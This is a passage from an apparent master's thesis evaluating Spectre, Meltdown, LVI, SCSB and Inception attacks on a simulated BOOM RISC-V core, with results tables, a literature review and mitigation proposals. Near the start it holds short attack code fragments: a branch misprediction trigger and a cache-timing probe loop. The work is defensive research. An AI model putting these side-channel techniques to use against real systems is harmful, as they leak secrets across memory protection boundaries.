The final stage induces misprediction:

1 // After training, exzecute with attack indezx

2 victimFunction(speculativeFunction, attackIndex) ;

Listing 3.37: Misprediction Induction

Attack Phases

1.

2.

Flush phase: Clear array?2 from all cache levels

Training phase: Alternate between legitimate /attack targets
Exploit phase: Trigger speculative gadget execution
Exfiltration phase: Prime+probe cache measurements

Analysis phase: Statistical recovery of secret bytes

Implementation Details

Indirect Branch Handling

BOOM’s indirect branch prediction mechanics:

e BTB stores recent branch target addresses

e Partial address matching for prediction

e Fallback to RSB for return address prediction

e 2-cycle prediction resolution latency
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Cache Probing Implementation

The attack uses BOOM-specific cache parameters:

for (uint64_t m = 0; m < 256; ++m) {
startTime = rdcycle();
dummy &= array2[m * L1_BLOCK_SZ_BYTES];
elapsedTime = (rdcycle() - startTime);

if (elapsedTime < CACHE_THRESHOLD) {
results[m] += 1; // Cache hit detection

Listing 3.38: Cache Timing Measurement

65
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4: ‘ Experimental Results

4.1. Evaluation Methodology

4.1.1. Chipyard and Verilator as Simulation Frameworks

Chipyard is an open-source RISC-V processor framework created at the University of
California, Berkeley, that aims to provide a comprehensive platform for the architecture’s
design, implementation and evaluation, incorporating several tools and libraries that en-
able simulation software to interface with hardware components. Chipyard’s modular
structure allows the customization and modification of the component’s building block,
which may include core designs, peripheral devices, as well as cache and memory hierar-

chies, without affecting the entire environment’s configuration [2].

With Chipyard, users are able to configure numerous RISC-V cores, BOOM, Rocket
or CVAG, in a single module due to its “mix-and-match” policy [10]. The integration
of different hardware IP blocks is facilitated by the availability of common interfaces
and application programming interfaces (APIs). Chipyard supports specialized security
benchmarks, Linux-based workloads, and even bare-metal tests, it also employs standard
RISC-V toolchains designed for the compilation and archival of programs for the defined

core configurations.

Verilator [49] is an open-source Verilog/SystemVerilog simulator that is recognized
for its speed and key features. In the Chipyard framework, it works as a cycle-accurate
simulator, which means it implements Chisel-generated Verilog code into a C++ model

and the benefits of using Verilator include the following:

e Cycle-Accurate Simulation: Verilator retains clock-cycle granularity, making it
possible to track microarchitectural activities (e.g., pipeline stalls, cache misses,
branch mispredictions) in fine detail. This level of detail is critical when studying

transient behaviors that are used in executing speculative attacks [50].

e Performance and Scalability: Because the model of Verilator is compiled, it can

be executed faster than many interpreted HDL simulators, making it favorable for
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larger workloads and more exhaustive testing. It offers multi-threading capabilities

on the host system, which increases the throughput of simulations [50].

e Debugging and Profiling Tools: External debugging interfaces and waveforms
(e.g., GTKWave) allow users to cross trace signals throughout the simulation, and
Verilator’s integration with them makes step-by-step tracing of signals straightfor-
ward, indeed, advanced logging and tracing features can help detect microarchitec-
tural anomalies or other security-sensitive activity that occurs during speculation

[37].

The research uses an integrated platform with Chipyard and Verilator, which supports
fast prototyping of system on chip designs and includes modern performance and security

analysis features [44].

4.1.2. Custom BOOM Implementation: MEDIUMBOOMYV3

With the aim of performing an in-depth analysis for speculative execution attacks in
RISC-V, we utilized a custom BOOM processor we refer to as MEDIUMBOOMV3. This
configuration was chosen to strike a balance between effectiveness and difficulty, offer-
ing a plausible speculative execution model with tolerable simulation overhead. It was

instantiated using the following custom class:

class FastRTLSimMediumBoomV3Config extends Config(
new freechips.rocketchip.subsystem.WithoutTLMonitors ++

new MediumBoomV3Config)

This setup augments the MediumBoomV3Config architecture by removing the TileLink
Monitors to improve simulation speed. The MEDIUMBOOMYV3 processor contains
architectural features that are designed with out-of-order execution, aggressively specula-
tive execution pipelines, and sophisticated branch prediction in mind, more in depth, with
design features such as out-of-order execution and aggressive speculation, the processor
maintains a high degree of parallelism and efficient speculative execution, making it ideal

for speculative execution attack analysis.

The branch predictor is one of the most influential components of speculative execution
as it can alter the flow of processes. The Dense Branch Target Buffer (Dense BTB) along
with Bimodal Predictor (BIM) and GShare Predictor implementations make the branch

predictor and speculative execution highly functional.

The Dense BTB caches branch target addresses so that the processor can fetch in-
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structions speculatively before resolving branches, proportionally, a higher number of sets
and banks improves the capability of storing branch targets and consequently decreases
misprediction penalties while improving speculation efficiency. The Bimodal Predictor
(BIM) is an ordinary yet robust predictor that gives fast predictions for frequently occur-

ring branches and is often built into modern microprocessors.

The GShare predictor uses a global history register to increase the accuracy of branch
prediction. It keeps track of the history of taken and not taken branches, and this history
is combined using XOR operation with the program counter in order to access a pattern
history table. Some important features of this design make it vulnerable to these types
of attacks:

e The execution windows of speculative execution units is widened due to large Re-

order Buffer (ROB), which also raises the risk of transient execution exploits.

e This architecture allows for deep speculation which can be abused by Spectre vI or
Spectre v2 attacks by branch misprediction resulting in speculation that executes

out of bounds of allowable memory.

e Indirect branches are more probable to be mispredicted an then exploited due to
multi-level branch prediction strategy (Dense BTB + BIM -+ GShare)

all having indirect branches included.

By using this configuration, the evaluation of speculative execution vulnerabilities in
BOOM explains how RISC-V processors handle transient execution and whether they
exhibit the same security weaknesses observed in commercial architectures like x86 and

ARM. To summarize the specific parameters you can refer to the table below:

The configuration parameters of MEDIUMBOOMV3 make it an ideal situation for
evaluating speculative execution security on RISC-V, indeed, the combination of deep
speculation, and an out-of-order execution pipeline creates a processor environment where

speculative execution vulnerabilities can be extensively examined.

Future work may involve modifications to this configuration to further explore the im-
pact of different branch prediction strategies, pipeline depths, and memory hierarchy

adjustments on the security of speculative execution.

4.1.3. Metrics for Attack Effectiveness

Measuring the outcomes of speculative execution attacks is difficult since their effec-

tiveness must be analyzed through a granular and systematic framework. In this study,
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Parameter Value

Fetch Width 2 instructions per cycle
Decode Width 2 instructions per cycle
Issue Width 4 execution units

Reorder Buffer (ROB) Size | 100 entries
Branch Prediction Architecture

Dense BTB Sets 512

Dense BTB Banks 2

Dense BTB Ways 4

Dense BTB Branch Levels | 2

Dense BTB Tag Size 13 bits

Dense BTB Offset Size 13 bits

BIM Table Size 4 Kbits (1024 entries across 2 banks)
GShare Predictor Size 2 kB

GShare History Length 23 bits

GShare Entries 4096

Table 4.1: Summary of the MEDIUMBOOMYV3 processor configuration. [20]

a behavioral and microarchitectural breakdown was used to evaluate the effectiveness of
different attacks with regards to capturing sensitive information. These measures give
information for both the trustworthiness of the attack and the magnitude of information

loss, allowing an organized comparison of methodical attacks across diverse parameters.

The attack success rate measures the proportion of execution attempts in which the
speculative execution attack successfully leaked at least part of the targeted secret. This

is calculated as:

S ful Leak
Success Rate = —o ool e.a % % 100 (4.1)
Total Executions

This metric provides a direct quantitative measure of attack reliability, in fact a high
success rate indicates that the attack is consistently able to manipulate speculative execu-
tion in a way that produces observable microarchitectural leakage. In situations where the
speculative execution patterns depend on the processor state (i.e., different branch pre-
diction paths, cache contention), a lower success probability may expose some instability

i the attack setup.

Alongside other metrics, the overall success rate for each attack performed was assessed
across numerous repetitions to correctly evaluate the effects of speculative execution tim-
ing and pipeline state. Though an attack might successfully read a certain amount of

data, the actual damage it can cause depends on what proportion of the information is
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truly exposed. This value captures how much of the exposed intended secret portion was

actually retrieved:

Leaked Bytes

Leakage Rate =
caxage nate Total Bytes of Secret

x 100 (4.2)

This metric is particularly relevant for fine-grained attacks, where even a partial data
leak could compromise security. Indeed, some speculative execution attacks, often leak
only a subset of secret values due to noise in the attack signal or incomplete speculation
windows, in fact, measuring the leaked data percentage provides insights into the degree

of information exposure and whether countermeasures can significantly limit leakage.

One of the fundamental mechanisms exploited by speculative execution attacks is mi-
croarchitectural timing variations, particularly those related to cache access times.
This study utilized cache timing measurements to infer the presence of speculative
execution effects and quantify the strength of the side-channel leakage. In this case, Time
difference between cache hits and misses served as a key information to establish

leakage of specific bytes:
e Speculative execution often results in secret-dependent cache access patterns.

e A successful attack should produce statistically distinguishable cache timing differ-
ences, where the presence of a secret-dependent cache hit leads to faster access

times.

e This was measured using high-resolution timers, such as the RISC-V cycle

counter (rdcycle), to track load-to-use latency differences.

The metrics associated with the success of the attack were substantiated with cache
timing analysis, which proved strong speculation execution manipulation. In addition to
microarchitectural metrics, the output of the attack program itself was examined
to determine whether the speculative execution, in fact, performed manipulation in the

actual flow of the code.

These four metrics were observed and analyzed for the performance of the executed

speculative execution attacks in a BOOM simulation.
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Metric Purpose

least some secret data.

Attack Success Rate (%) Measures how often the attack successfully retrieves at

providing an estimate of attack severity.

Percentage of Secret Leaked (%) | Quantifies how much of the target secret was extracted,

nificant microarchitectural side-channel effects.

Cache Timing Analysis Evaluates whether the attack produces statistically sig-

lating program behavior as expected.

Program Output Validation Ensures that speculative execution is actually manipu-

Table 4.2: Summary of attack effectiveness metrics.

By combining these metrics, the study was able to systematically assess the reliabil-
ity, effectiveness, and consistency of speculative execution attacks on BOOM and the
results highlight both the feasibility of side-channel exploits on a RISC-V processor and
the architectural constraints that may limit attack success rates. Future research should
explore additional performance metrics, such as power consumption and electromag-
netic leakage, to further expand the evaluation of speculative execution security risks in
RISC-V architectures.

4.2. Results of Spectre-Based Attacks

This subsection contains the results of our experimental study of different Spectre at-
tacks, that is, Spectre v1, v2, v4, Spectre RSB, Indirector, and Retbleed. These attacks
were systematically executed and recorded using cache timing techniques for sensitive
information disclosure. The methodology involved repeating each Spectre-based attack a
number of times so that we could be reasonably confident the results were reliable and
reproducible. The results suggest that there is a repeatable 100% success rate for per-
forming attacks and disclosing secrets. Each Spectre attack was performed at a large
number of predetermined cache timing intervals in order to maximize the accuracy of
the measurements. The goal of these attacks was to leverage their speculative execution
weaknesses and allow the attacker to obtain some secret information from the victim
process. The cache timing technique involves measuring the time taken to access spe-
cific memory locations, which reveals the presence of secret data, this method allows for

character-by-character leakage of the secret information.

The cache timing analysis was performed to determine the effectiveness of each attack

in leaking secret data. The analysis involved the following steps:
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Table 4.3: Summary of Spectre-Based Attacks

Attack Name | Success Rate (%) | Secret Leakage Rate (%)
Spectre v1 100 100
Spectre v2 100 100
Spectre v4 100 100
Spectre RSB 100 89
Indirector 100 100
Retbleed 100 100

1. Attack Execution: Each attack was executed multiple times to gather sufficient
data.

2. Timing Measurement: High-resolution timers were used to measure the time

taken to access specific memory locations.

3. Data Analysis: The timing data was analyzed to infer the presence of secret data,

character by character.
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Figure 4.1: Example of Cache Timing Attack

Figure 4.1 shows an example of a cache timing attack, where the timing differences are
used to detect the secret data one character at a time, the x-axis represents each character
belonging to the secret, while the y-axis represents the cache lines, and the color code
corresponds to the cache access time for each cache line: the lighter the color the shorter

the access time. The graph clearly illustrates the relationship between access time and
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the leaked secret information, allowing the attacker to deduce which memory locations
hold the secret data based on the timing discrepancies, notably, this heatmap identifies
a visibly low access times for the characters in the secret, which in this case was a toy

string: "#!Thisisthesecretstring:)" - could be completely revealed by the analysis.

The outcomes of our analyses bring to light the weaknesses in RISC-V microprocessors,
particularly the BOOM core, in the face of Spectre-like attempts. Remarkably, the ever-
present 100% success rate of the attack implementations and the gap in secret safeguarding
underlines these vulnerabilities, in other words, the cache timing strategy significantly
surfaced and revealed secret information, one letter at a time, indicating the dangers of

speculative execution.

The experimental results presented in this section prove and higlight the effectiveness of

Spectre-based attacks on RISC-V microprocessors, more specifically on the BOOM core.

4.3. Results of Meltdown-Type Attacks

This section includes the detailed results of the experiments conducted on Meltdown-
type attacks with emphasis on Meltdown and Load Value Injuction (LVI). These
types of attacks aimed to take advantage of speculative and transient execution weak-
nesses in order to circumvent memory boundaries and steal information stored in memory

requiring high levels of permissions.

The experiments conducted consisted of performing each attack a couple of times to
try and achieve statistically significant results. The results show that Meltdown has a
100 % success rate but Load Value Injection had a lower success rate. In both cases,
the attacks were able to extract data from the privileged memory, which indicates that

the implemented RISC-V microarchitecture does indeed suffer from transient execution

vulnerabilities.
Table 4.4: Summary of Meltdown-Type Attacks
Attack Name Success Rate (%) | Secret Leakage Rate (%)
Meltdown 100 76
Load Value Injection (LVI) 88 80

The Meltdown attack successfully exploited transient execution to read privileged
memory locations from a lower-privileged process, the attack was executed by triggering
an illegal memory access, relying on speculative execution to transiently read and cache

unauthorized data before the processor reverted execution. The extracted data was then
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inferred using cache-based side channels, revealing secrets that should have been inac-
cessible to user-space applications. The high 100% success rate and complete secret

leakage indicate that BOOM lacks built-in mitigations against Meltdown-type exploits.

In contrast, the Load Value Injection (LVI) attack leverages speculative execution
to manipulate the values consumed by transiently executed instructions, unlike Meltdown,
which reads out-of-bound data, LVI injects controlled values into victim processes by
exploiting delayed load operations. The attack was effective in corrupting speculative
execution paths and leaking sensitive data via side-channel analysis. More in detail, the
process involved transiently injecting into a register an attacker controlled value and then

check via side channel if the injection was successful.

The effectiveness of both attacks was analyzed using a rigorous cache timing approach.

The experimental methodology consisted of:

1. Triggering the Attack: Illegal memory accesses were induced to invoke Meltdown,

while LVI required precise control over load speculation.

2. Measuring Cache Timing: High-resolution timing analysis was performed to
detect memory access latency changes, which indicate transient execution of unau-
thorized loads.

3. Data Recovery and Analysis: Retrieved memory values were compared with

known secrets to evaluate the accuracy of the extracted data.
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Figure 4.2: LVI cache analysis
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For instance, results for the Load Value Injection (LVI) attack are presented in an
alternative format in Figure 4.2: the y-axis denotes the access time in clock cycles, whereas
the x-axis enumerates cache lines. To verify the effectiveness of LVI, we deliberately placed
a specific numeric value in the last cache line and measured the cycles required to retrieve
it. A successful attack is indicated by an access time below 40 cycles. As shown in
Figure 4.2, the final cache line exhibits a notably reduced access time relative to other
lines, confirming the feasibility of the LVI attack—and, by extension, illustrating the
broader vulnerability of BOOM designs to Meltdown-based exploits.

These experiments have underscored the underlying risks related to information security
from the Meltdown family attacks on BOOM, and on speculative execution compatible
RISC-V processors. Executing Meltdown intensifies the problem of unsupervised access
to the memory, while showing how easily LVI can be performed gives evidence that, in

some situations, speculated load access is exploitable as an attack vector.

The findings of this study underscore the urgent need for effective security countermea-
sures against transient execution exploits in modern RISC-V microarchitectures. Future
work should focus on the integration of hardware-based mitigations such as load fencing,
speculative execution restrictions, and improved memory isolation techniques to defend

against these classes of attacks.

4.4. Results of Emerging Speculative Attacks

The current subsection correspond to the results of the experiments conducted pertain-
ing to the emerging speculative execution attacks targeted at Speculative Code
Store Bypass (SCSB) and Inception. More specifically, these attacks seek to take
advantage of other speculative execution weaknesses apart from the classic Spectre and
Meltdown ones. This characteristic constitutes a novel and progressive threat to contem-

porary microarchitecture.

In accordance with the previously outlined method of the attacks, the experimental
technique consisted of repeating each attack a predetermined number of times under a
predefined controlled environment to capture relevant data accurately and reproducibly.

The methods of verification were different for each particular attack vector:

e Speculative Code Store Bypass (SCSB) was validated by analyzing program
output, confirming that speculative execution allowed execution of old, patched-out

code.

e Inception was evaluated through cache timing analysis, revealing measurable tim-
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ing discrepancies that indicated successful secret data leakage.

Table 4.5: Summary of Emerging Speculative Attacks

Attack Name

Success Rate (%)

Secret Leakage Rate (%)

SCSB

100

NaN

Inception

100

100

7

The SCSB attack demonstrated that speculative execution can execute older versions

of patched code, effectively bypassing security updates. This was verified by monitoring

program output, indeed, the program was designed to print specific values before and

after applying a software patch. Despite the patch correctly replacing vulnerable code,

speculative execution continued to execute the old version, leaking pre-update data,

indeed, the impact of SCSB highlights a critical weakness where speculative execution

can ignore software patches, reinforcing the need for hardware-level mitigations to

prevent speculative access to invalidated instruction memory.

Inception was evaluated through high-resolution cache timing analysis by follwing the

experimental steps below:

1. Attack Execution: Each attack was triggered in a controlled environment to

observe its speculative behavior.

2. Timing Measurement: High-resolution timers (rdcycle) were used to track cache

access latencies.

3. Leakage Detection: Timing discrepancies revealed unauthorized speculative exe-

cution effects.
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Figure 4.3: Cache Analysis for Inception

Figure 4.3 demonstrates the timing differences exploited in the attacks above, where
transient execution within speculative microarchitectural pathways leads to measurable
timing anomalies. In this heatmap, the x-axis represents the secret characters to be stolen,
the y-axis represents the cache lines, and the color code corresponds to the cache access
time for each cache line: as the color gets lighter, the access time is less, hence indicating

a cache hit.

These figures reveal significant variability in the time required to access different cache
lines. The few nearly white entries are of particular interest, as they correspond to cache
hits that the attacker can detect by measuring the cache access time, enabling the inference

of the corresponding secret character.

The results of these experiments demonstrate that emerging speculative execution at-
tacks remain a critical security risk in modern processors, including the BOOM RISC-V

core.
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In this chapter, we will explore the literature examining the security flaws within con-
temporary microarchitectures such as side channel and transient execution attacks, which
served as a basis for comparing and improving our results. It comprehensively covers the

architectural development of these attacks, their mitigation strategies, and the relevant
research of RISC- V and BOOM microprocessors.

5.1. Side-Channel and Transient Execution Attacks

5.1.1. Early Side-Channel Attacks on Microarchitectures

Early research in side-channel attacks focused on exploiting the physical signals un-
intentionally emitted by hardware devices, in fact, rather than breaking cryptographic
algorithms through mathematical means, these attacks targeted observable phenomena,
such as timing variations [65], power consumption [51], and electromagnetic emissions [45|
to infer sensitive information. The conclusion from early side-channel studies had pro-
found implications for the design of cryptographic hardware, in fact many devices that
were considered secure based on their algorithmic strength were found to be vulnerable
due to their physical implementation. This caused a shift in design philosophy to incor-
porate countermeasures such as power line conditioning, noise injection, and algorithmic
masking techniques, in order to obscure the correlation between physical emissions and
the secret data being processed, hence mitigating side channel effects [29]. The results
obtained from these attacks continuously affect the design and implementation choices
of microprocessors, highlighting the need of analytical and sound methods of assessing

safeness.

5.1.2. Speculative Execution Attacks

TThe ambition for higher performances and appealing benchmarks led to the adoption
of speculative execution, a technique famous for its double edged sword nature, being in-

credibly positive for performance boosting but it necessarily leads to known vulnerabilities
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[17].

Several high-profile attacks have exploited the vulnerabilities introduced by speculative
execution [22], for instance, the Spectre attack manipulates branch prediction to force
a processor into executing instructions speculatively, thereby creating a scenario where
sensitive data influences the state of the cache. This altered state can then be measured
through side-channel techniques to reconstruct confidential information. In a similar
way, Meltdown is based on out-of-order execution, a closely related concept, to bypass
conventional memory protection mechanisms, allowing unauthorized access to privileged
memory areas, exploiting that OoOE skips privilege checks when executing. Both attacks
have not only demonstrated the feasibility of exploiting speculative execution, they also
funded and created a wide array of research focused on understanding and mitigating these
risks. These developments highlight the critical balance that must be maintained between

performance optimization and security assurance in modern processor architectures

After the discovery of such devastating attack families, researchers uncovered a growing
taxonomy of speculative execution vulnerabilities, each targeting different components
of modern CPUs. Microarchitectural Data Sampling (MDS) attacks [33], such as Zom-
bieLoad, RIDL and Fallout, exploiting CPU buffers (e.g., fill buffers, load ports) to leak
data across security boundaries, including kernel memory or cross-VM data in cloud
environments. These attacks highlighted how transient execution could leave traces in

microarchitectural structures, even without direct cache side effects.

Load Value Injection (LVI) later flipped the MDS concept [55], demonstrating that
attackers could not only extract data but also inject malicious values into speculative
execution streams, in fact, by poisoning CPU load operations, LVI enabled adversaries
to manipulate transient execution to leak secrets or trigger fault handlers, circumventing
existing mitigations like LFENCE.

The Retbleed [60] vulnerability revealed weaknesses exploited in hardware that were
able to overcome software mitigations themselves. It showed that return-based branch tar-
get injection (retpoline), a common Spectre-BTT mitigation, could be bypassed on certain
CPUs, forcing a reevaluation of "safe" mitigation strategies. On the other hand, CrossTalk
[39](CVE-2020-0543) demonstrated that some attacks could bypass core-isolation guar-
antees by targeting shared components allowing data leakage across CPU cores. More
recently, Speculative Code Store Bypass(SCSB) [42] exploited speculative interactions
between store and load operations, chained with modifying executable portions of code,
forcing arbitrary and attacker-controlled execution, where stale data in store buffers could

influence speculative loads, creating new side channels.
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These exploits illustrate how challenging securing speculative execution is, since mitiga-
tions frequently come with costs in performance, or worse, create new vulnerabilities. The
sophisticated attack methods continue to shape the design of high-performance processors
which need to be securely protected by an arms race between defending hardware, such

as, hardware-based speculation barriers and finer grained isolation.

In order to counter the vulnerabilities brought about by transient executions both soft-

ware and hardware strategies aim to mitigate the issue:

e Hardware-Based Mitigations: Hardware-centric solutions aim to redesign mi-
croarchitectural elements to minimize exploitable transient states, limiting the ap-

plicability of the attacks cited above.

e Microarchitectural Modifications: Proposals include altering branch predictors,
cache architectures, and execution pipelines to reduce the risk of data leakage during

speculative execution.

e Resource Isolation Techniques: Some approaches advocate for the partitioning
of microarchitectural resources or the integration of dedicated security monitors

within the processor to further isolate sensitive operations.

e Software-Based Defenses: Software-based strategies provide an additional layer
of defense by addressing vulnerabilities through operating system and compiler mod-

ifications.

e Operating System Interventions: Techniques such as kernel modifications and
sandboxing are implemented to constrain the impact of transient execution vulner-
abilities at the OS level.

e Compiler-Level Strategies: Compiler-based approaches involve inserting mem-
ory fences and barrier instructions to disrupt the timing channels that side-channel

attacks exploit, albeit often at the cost of performance.

5.2. RISC-V Security Research and BOOM-Related
Studies

The open-source nature of RISC-V has catalyzed a growing body of research examin-
ing its security properties, particularly in relation to the BOOM microprocessor. Early
foundational work established that RISC-V’s simplicity—while reducing attack surface

compared to legacy ISAs—introduces unique security challenges due to its reliance on mi-
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croarchitectural optimizations for performance. Subsequent studies have systematically

explored three key vulnerability domains:

1. Speculative Execution Vulnerabilities: The absence of hardware-enforced spec-
ulation controls in baseline RISC-V designs enables Spectre-class attacks. This work
revealed that RISC-V’s sparse ISA amplifies the impact of speculative side channels,

as fewer instructions simplify gadget chaining [19].

2. Side-Channel Proliferation: RISC-V’s extensibility permits implementations

lacking countermeasures common in ARM /x86. [1]

3. Hardware/Software Trust Gaps: The ISA’s privilege model (user/supervisor//-
machine modes) requires precise microarchitectural enforcement. Xu et al. (2021)
exposed critical flaws in physical memory protection (PMP) implementations across
different RISC-V cores [63].

RISC-V’s modularity further complicates security guarantees. While the base inte-
ger ISA (RV32I/RV64I) lacks branch prediction, most high-performance implementations
(e.g., BOOM) adopt complex predictors reintroducing Spectre risks. Formal verification
efforts, such as the CHERI-RISC-V project, have highlighted that even memory-safe de-
signs remain vulnerable to microarchitectural attacks unless paired with timing-channel

mitigations [43].

These studies collectively establish that RISC-V’s security landscape is not inherently
superior to closed [SAs—its risks derive from implementation choices rather than archi-
tectural design. Our work builds on these insights by providing a unified framework for
evaluating transient execution vulnerabilities across RISC-V microarchitectures, enabling

systematic hardening of both cores and compilers.

5.2.1. BOOM Microprocessor Studies

As well as RISC-V, the open-source nature of BOOM and its microarchitectural fea-
tures introduced to increase performances, made it a popular choice for security research.

Several works focus on exploiting and providing mitigations for security issues.

Spectre and Meltdown Vulnerabilities

Prior research has experimentally validated Spectre-v1 (bounds check bypass), Spectre-
v2 (branch target injection), and Meltdown attacks on BOOMv2’s microarchitecture [53]
[20]. These studies demonstrated that BOOM’s speculative execution mechanisms, par-

ticularly its 2-bit saturating branch predictor, load/store queue interactions, and cache
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hierarchy are susceptible to transient execution attacks despite RISC-V’s simplified ISA.
This foundational work enabled two critical advances for developing this master’s thesis:

1. The correction and adaptation of the existing work to a newer and theoretically
safer version of BOOM, which is BOOMV3.

2. The methodology for porting previously unimplemented attacks (e.g., LVI, SLAM)
to RISC-V architectures.

Mitigation Strategies

Researches on security vulnerabilities on BOOM led to the proposal of different miti-
gation techniques to mitigate speculative execution attacks, which are essentially divided

in two different types:

e Software Based Mitigations: These kinds of techniques involve adapting soft-
ware to mitigate hardware vulnerabilities. They are really flexible and can be quickly
deployed, however they may impose performance overhead, the emerging example
is Retpoline for BOOM [4], which aims to replace indirect branch instruction with

controlled block sequences that prevent speculative misdirection.

e Hardware Based Mitigations: These techniques address vulnerabilities directly
within processor’s architecture. The main targets usually are branch predictors and

speculative execution units, introducing features like fencing and memory tagging.

Moreover, formal verification techniques have been performed on the BOOM design in

order to find and minimize risks systematically [11][14].

5.3. Gaps in Existing Research and Novel Contribu-
tions

While previous researches have focused on x86 and ARM, this thesis differs from the
rest by concentrating on the RISC-V’s specific vulnerabilities, particularly focusing on
BOOM, indeed, this study uses penetration testing techniques to assess security risks,
trying to port and apply the most recent and famous known attacks. Our approach not
only re-evaluates familiar attack techniques but also provides new methods that have yet

to be assessed, enabling an exhaustive analysis against existing methodologies.

While there has been great strides made in these areas, there is still a substantive

amount of work left, in fact, it is true that there is a lack of literature that combines ap-
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plied penetration testing with microarchitectural vulnerability analysis with open-source
designs like BOOM, additionally, the extensive impact on performance and scalability due
to both hardware and software mitigations needs to be more thoroughly understood to

guarantee effective and enduring security solutions.

This work brings fresh perspectives to the security of microprocessors. It proposes ex-
amining the case of a BOOM microprocessor within the RISC-V family and performs deep
analysis of his transient execution vulnerabilities using penetration testing approaches to

provide an empirical evaluation of security risks alongside traditional theoretical analysis.

A key novel contribution is the development and implementation of a complete suite

encompassing various families of side-channel attacks. This suite:

e Integrates previously demonstrated, albeit disparate, side-channel attacks to provide

a robust baseline for comparison.

e Introduces new attack vectors that have not been previously tested, expanding the

scope of vulnerability assessment.

e Facilitates a detailed comparative analysis between established attack methods and
these novel approaches, underlining the unique security challenges posed by the

BOOM microprocessor.
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6 ‘ Conclusions

This thesis has proven that the Berkeley Out Of Order Machine architecture is susceptible
to several side-channel attacks that exploit speculative execution. The study has shown
through repeated experimentation and analysis that speculative execution weaknesses on
x86 and ARM microprocessors, are indeed transposable to BOOM’s architecture. The
study was based on the modification and implementation of classic speculative execution
attacks and the findings suggested that, like many contemporary out of order processors,
BOOM results to be vulnerable. The successful integration of these attacks underlines the
high level of security threat posed by speculative execution, even for RISC-V open-source

Processors.

The analysis of data obtained from the experiments revealed some of the security con-

sequences of speculative execution on BOOM, which are elaborated below:

¢ BOOM is weak with respect to speculative execution attacks: Speculative
execution weaknesses are not limited to proprietary architectures such as Intel, AMD
or ARM, indeed, the exploitable speculative behavior in BOOM implies that other

aggressive RISC-V cores might also suffer from the problem.

e The Efficacy of Cache-Based Side Channels: Using the cache hierarchy of
BOOM, the attacks achieved that speculative execution leaves traces which, through
traditional Flush+Reload and Prime-+Probe methods, were possible to recover and

obtain secret information.

e Effect of Branch Prediction and Speculative Fetching: The branch predictor
was one of the most important aspects that influenced the success of the attacks.
It was found that speculative execution attacks with techniques such as branch
training or injection, are confirmed to affect BOOM'’s microarchitecture and generate

attacker controlled paths which lead to secret exfiltration.

These results are important when considering the security of RISC-V architectures,
in fact The BOOM processor’s speculative execution vulnerabilities serve as an example

of the open-source processors’ security problems. RISC-V may have transparency and
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versatility but it needs to be put under heavy security examination before commercial
use, if speculative execution vulnerabilities remain true. Moreover, The ease at which
speculative execution attacks can be carried out is enough to improve development of
micro-architectural mitigations for RISC-V cores. These may comprise barriers for spec-
ulative execution, better defenses against branch prediction and secure management of

caches.

Although the execution of these attacks was successful, there are still issues associated
with porting strategies from an ARM and X86 model to a less known RISC-V architec-
ture. Most of these difficulties arise due to differences in architecture, constraints of the

instruction set and the peculiarity of speculative execution:

e Architectural Differences: While the BOOM processor is an open source RISC V
core, its branch prediction strategy, pipeline structure, and the memory subsystem
differ markedly from those of proprietary architectures. For instance, unlike x86
processors which are documented to have rampant speculation vulnerabilities due to
their aggressive approach, aggressive modifications of existing attack strategies have
to be incorporated because BOOM'’s execution pipeline follows different speculative

execution pathways.

e Instruction Set Limitations: The modular and minimalist nature of the RISC
V instruction set makes it very difficult to accommodate base attack techniques.
RISC-V does not have direct equivalents for some of these instructions that are
needed to enforce manipulation of the cache or barrier serialization, which means

other approaches had to be used to create the desired results.

e Lack of Comprehensive Documentation: One documentation issue of BOOM
open-source processors that stands out is the lack of detailed and organic documen-
tation of attack trials, making it difficult to reconstruct and organize the knowledge

needed to reach this thesis objectives.

The ability to assess security risks at the simulation stage, prior to physical realiza-
tion is a prime example of benefit that can be derived from the RISC-V open-source
ecosystem. This study highlights the importance of proving security testing methodolo-
gies at the design level to ensure vulnerabilities are dealt with before processors go to

mass production.
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6.1. Future Work

While this work has shown the effectiveness of speculative execution attacks on the
BOOM RISC-V processor in a simulated environment, there is clearly some scope for
further work. The problems associated with simulation testing indicate that more effort
should be directed towards validation of the results on real systems, broadening the scope
to other RISC-V cores, improving the speculative execution attack methods and crafting

suitable countermeasures.

The first step for future research is to check if the speculative execution vulnerabili-
ties found in BOOM are applicable to other RISC-V cores. The open-source nature of
RISC-V leads to many different implementations of the processors with each one having
unique microarchitectural features that actually can affect the performance of speculative

execution attacks. It is suggested that further research should:

e Attempt the same type of attacks on open source RISC-V cores such as Rocket [27]
and CVAG6 (Ariane) [26] and, if possible, proprietary versions that are accessible.

e Analyze the relative effectiveness of the attacks in different pipeline architectures
which may include differences in branch prediction, out-of-order execution, and

speculative memory access.

e Evaluate the degree of security risk presented by various cache designs such as cache

set associativity, cache replacement and prefetching.

Further extending this analysis will aid in determining how speculative execution vul-
nerabilities occur across RISC-V micro-architectures and if particular design decisions
worsen or reduce the security risks, moreover, this particular research was fully done
in simulation using Chipyard and Verilator, although it served as a way to implement
and study the outcomes of speculative execution attacks, it also came with a number of

limitations:

e No real-world time gaps: Simulations have a difficult time emulating the real
hardware systems due to their precise timing behaviors, in relation to the cache
latency, the size of the window for the speculative execution and how transient

execution works, affecting the attack efficiency and success rate.

e Absence of power and thermal side channels: In reality, also power consump-
tion and thermal changes can be used as additional side channel leaking sources,

due to limits in simulation this study was not able to analyze these factors.

e Potential discrepancies in speculative execution behavior: Some micro-
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architectural features like instruction reordering and speculative fetch patterns may
be different in real silicon as compared to a simulated version, hence validation of
those attacks on the RISC-V hardware would be needed.

As a result, further research should focus on trying to target the revealing attacks
on real RISC-V processors, particularly those built with FPGA, indeed, executing these
examples on real hardware allows for a more general view of side channel attacks behavior

on RISC-V processors.

All things considered, this thesis was able to accomplish several different types of spec-
ulative execution attacks against the BOOM architecture, but there are certain advanced
attack tactics that were attempted without full execution due to various constraints. It
is recommended that further research is conducted to execute the attacks along with

addressing the technical barriers met:

e GhostRace: This attack focuses on race conditions within speculative execution
paths between concurring threads. The porting attempt of GhostRace to BOOM
requires a precise implementation of concurring threads in order to correctly exploit
the state of the art attack [40].

e Floating Point Value Injection (FPVI): It exploits speculative execution by
misprocessing subnormal floating-point values, leading to results that can leak sen-
sitive information through side channels. In BOOM, however, it seems subnormal
values are rounded to zero, which disables the attack. Further studies should look

into extensions related to implementation of subnormal floating point values to eval-
uate BOOM’s potential vulnerability to FPVI [38].

e DownFall: Recently discovered in x86 processors, this is a form of a logic level
fault. It comes from the use of speculative execution in the AVX registers, however

these kind of instructions are not supported directly on BOOM [32].

e Foreshadow (L1TF): This attack aims at the leakage resulting from specula-
